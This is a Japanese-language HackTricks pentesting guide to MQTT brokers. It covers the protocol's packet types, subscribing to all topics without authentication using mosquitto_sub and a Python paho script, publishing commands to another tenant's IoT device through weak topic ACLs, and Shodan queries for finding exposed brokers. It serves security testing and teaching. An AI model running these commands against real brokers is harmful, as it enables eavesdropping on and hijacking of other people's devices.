1883 - Pentesting MQTT (Mosquitto)

Reading time: 10 minutes

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

基本情報

MQ Telemetry Transport (MQTT) は、極めてシンプルで軽量な publish/subscribe messaging protocol として知られています。このプロトコルは、リソースが限られたデバイスや、低帯域幅・高レイテンシ・不安定な接続を特徴とするネットワーク上で動作する環境向けに特化して設計されています。MQTT の主な目的はネットワーク帯域の使用を最小限に抑え、デバイスのリソース負荷を軽減することです。加えて、信頼性のある通信の維持と一定の配信保証を提供することも目標としています。これらの特性により、MQTT は多数のデバイスを効率的に接続することが求められる machine-to-machine (M2M) communicationInternet of Things (IoT) の分野に非常に適しています。また、帯域幅やバッテリ寿命の節約が重要なモバイルアプリケーションにも有益です。

既定ポート: 1883

PORT     STATE SERVICE                 REASON
1883/tcp open  mosquitto version 1.4.8 syn-ack

トラフィックの検査

MQTT brokers が CONNECT パケットを受信すると、CONNACK パケットが返送されます。このパケットには接続状態を理解するために重要なリターンコードが含まれています。リターンコードが 0x00 の場合は認証情報が受け入れられ、接続が成功したことを示します。一方、リターンコードが 0x05 の場合は認証情報が無効で接続が拒否されます。

例えば、broker が認証情報が無効なため接続を拒否する場合、状況は次のようになります:

{
"returnCode": "0x05",
"description": "Connection Refused, not authorized"
}

Brute-Force MQTT

Pentesting MQTT

Authentication is totally optional。また、Authentication が行われている場合でも、encryption is not used by default(credentials は clear text で送信されます)。MITM 攻撃によりパスワードを盗むことができます。

MQTT サービスに接続するには次を使用できます: https://github.com/bapowell/python-mqtt-client-shell そして次のようにしてすべてのトピックを subscribe します:

> connect (NOTICE that you need to indicate before this the params of the connection, by default 127.0.0.1:1883)
> subscribe "#" 1
> subscribe "$SYS/#"

また次のものも使用できます https://github.com/akamai-threat-research/mqtt-pwn

以下も使用できます:

bash
apt-get install mosquitto mosquitto-clients
mosquitto_sub -t 'test/topic' -v #Subscribe to 'test/topic'
mosquitto_sub -h <host-ip> -t "#" -v #Subscribe to ALL topics.

または、次のコードを実行して認証なしで MQTT サービスに接続し、すべてのトピックを購読してそれらを受信してみる:

python
#This is a modified version of https://github.com/Warflop/IOT-MQTT-Exploit/blob/master/mqtt.py
import paho.mqtt.client as mqtt
import time
import os

HOST = "127.0.0.1"
PORT = 1883

def on_connect(client, userdata, flags, rc):
client.subscribe('#', qos=1)
client.subscribe('$SYS/index.html#')

def on_message(client, userdata, message):
print('Topic: %s | QOS: %s  | Message: %s' % (message.topic, message.qos, message.payload))

def main():
client = mqtt.Client()
client.on_connect = on_connect
client.on_message = on_message
client.connect(HOST, PORT)
client.loop_start()
#time.sleep(10)
#client.loop_stop()

if __name__ == "__main__":
main()

パブリッシュ/サブスクライブ パターン

パブリッシュ/サブスクライブモデルは以下で構成されます:

  • Publisher: ブローカー内の1つまたは複数のトピックにメッセージを公開します。
  • Subscriber: ブローカー内の1つまたは複数のトピックを購読し、Publisherから送られるすべてのメッセージを受け取ります。
  • Broker: PublisherからSubscriberへメッセージをルーティングします。
  • Topic: レベルがスラッシュで区切られた1つ以上のセグメントで構成されます(例: /smartshouse/livingroom/temperature)。

Packet Format

すべての MQTT パケットは固定ヘッダを含みます(Figure 02)。Figure 02: Fixed Header

https://miro.medium.com/max/838/1*k6RkAHEk0576geQGUcKSTA.png

Packet Types

  • CONNECT (1): クライアントがサーバーへの接続を要求するために開始します。
  • CONNACK (2): サーバーによる接続成功の確認応答です。
  • PUBLISH (3): クライアントからサーバー、またはその逆にメッセージを送るために使用されます。
  • PUBACK (4): PUBLISH パケットの確認応答です。
  • PUBREC (5): メッセージ受信を保証する配信プロトコルの一部です。
  • PUBREL (6): メッセージ配信のさらなる保証を示す(メッセージのリリースを示す)パケットです。
  • PUBCOMP (7): 配信プロトコルの最終段階で、完了を示します。
  • SUBSCRIBE (8): クライアントがトピックからのメッセージを受信することを要求するリクエストです。
  • SUBACK (9): SUBSCRIBE リクエストに対するサーバーの確認応答です。
  • UNSUBSCRIBE (10): クライアントがトピックの受信を停止することを要求するリクエストです。
  • UNSUBACK (11): UNSUBSCRIBE リクエストに対するサーバーの応答です。
  • PINGREQ (12): クライアントが送るハートビート(生存確認)メッセージです。
  • PINGRESP (13): ハートビートメッセージに対するサーバーの応答です。
  • DISCONNECT (14): クライアントが接続を終了するために開始します。
  • 値 0 と 15 は予約済みで使用が禁止されています。

IoT MQTT ecosystem attacks: plaintext brokers and topic ACL bypass

多くのコンシューマ向け IoT プラットフォームは、次の2つの異なる役割によって使用される MQTT ブローカーを公開しています:

  • ゲートウェイ/ハブデバイス: 無線プロトコル(例: BLE/LoRa/Zigbee)を cloud にブリッジするもの。
  • モバイルアプリや web バックエンド: “app” トピックを介してデバイスを制御します。

pentest 中に悪用できる一般的な弱点:

  • MQTTS ではなく平文の MQTT が非標準ポート(例: TCP/8001)で公開されている。オンパスの観測者は認証情報や制御フレームを読み取れます。Wireshark を使って、異常なポートでのクリアテキストの CONNECT/CONNACK や SUBSCRIBE/PUBLISH トラフィックを検出します。
  • テナントごとのトピック ACL が弱い、または欠如している。トピックが deviceId のみで名前空間化されている(例: "/tenantless//tx")場合、認証済みの任意のユーザーが他テナントのデバイスへ PUBLISH できる可能性があります。
  • メンテナンス/管理トピックを介した機密データの漏洩(例: 設定変更後にクリアテキストでブロードキャストされる Wi‑Fi 認証情報)。

例(プレースホルダを実際の値に置き換えてください):

潜在的に機微なトピックを、既知のトピックプレフィックスやデバイスIDで購読する:

bash
# Using mosquitto_sub
mosquitto_sub -h <broker> -p <port> -V mqttv311 \
-i <client_id> -u <username> -P <password> \
-t "<topic_prefix>/<deviceId>/admin" -v

ACLsが弱い場合のクロステナント制御(別のテナントのデバイストピックへpublishする):

bash
mosquitto_pub -h <app-broker> -p <port> -V mqttv311 \
-i <your_client_id> -u <your_username> -P <your_password> \
-t "/ys/<victimDeviceId>/tx" \
-m '{"method":"Device.setState","params":{"state":{"power":"on"}},"targetDevice":"<victimDeviceId>"}'

Shodan

  • port:1883 MQTT
  • 非標準ポートでのMQTTの平文はIoTで一般的です。代替ポートでブローカーを検索し、プロトコル検出で確認してください。

参考

tip

AWSハッキングを学び、実践する:HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する:HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする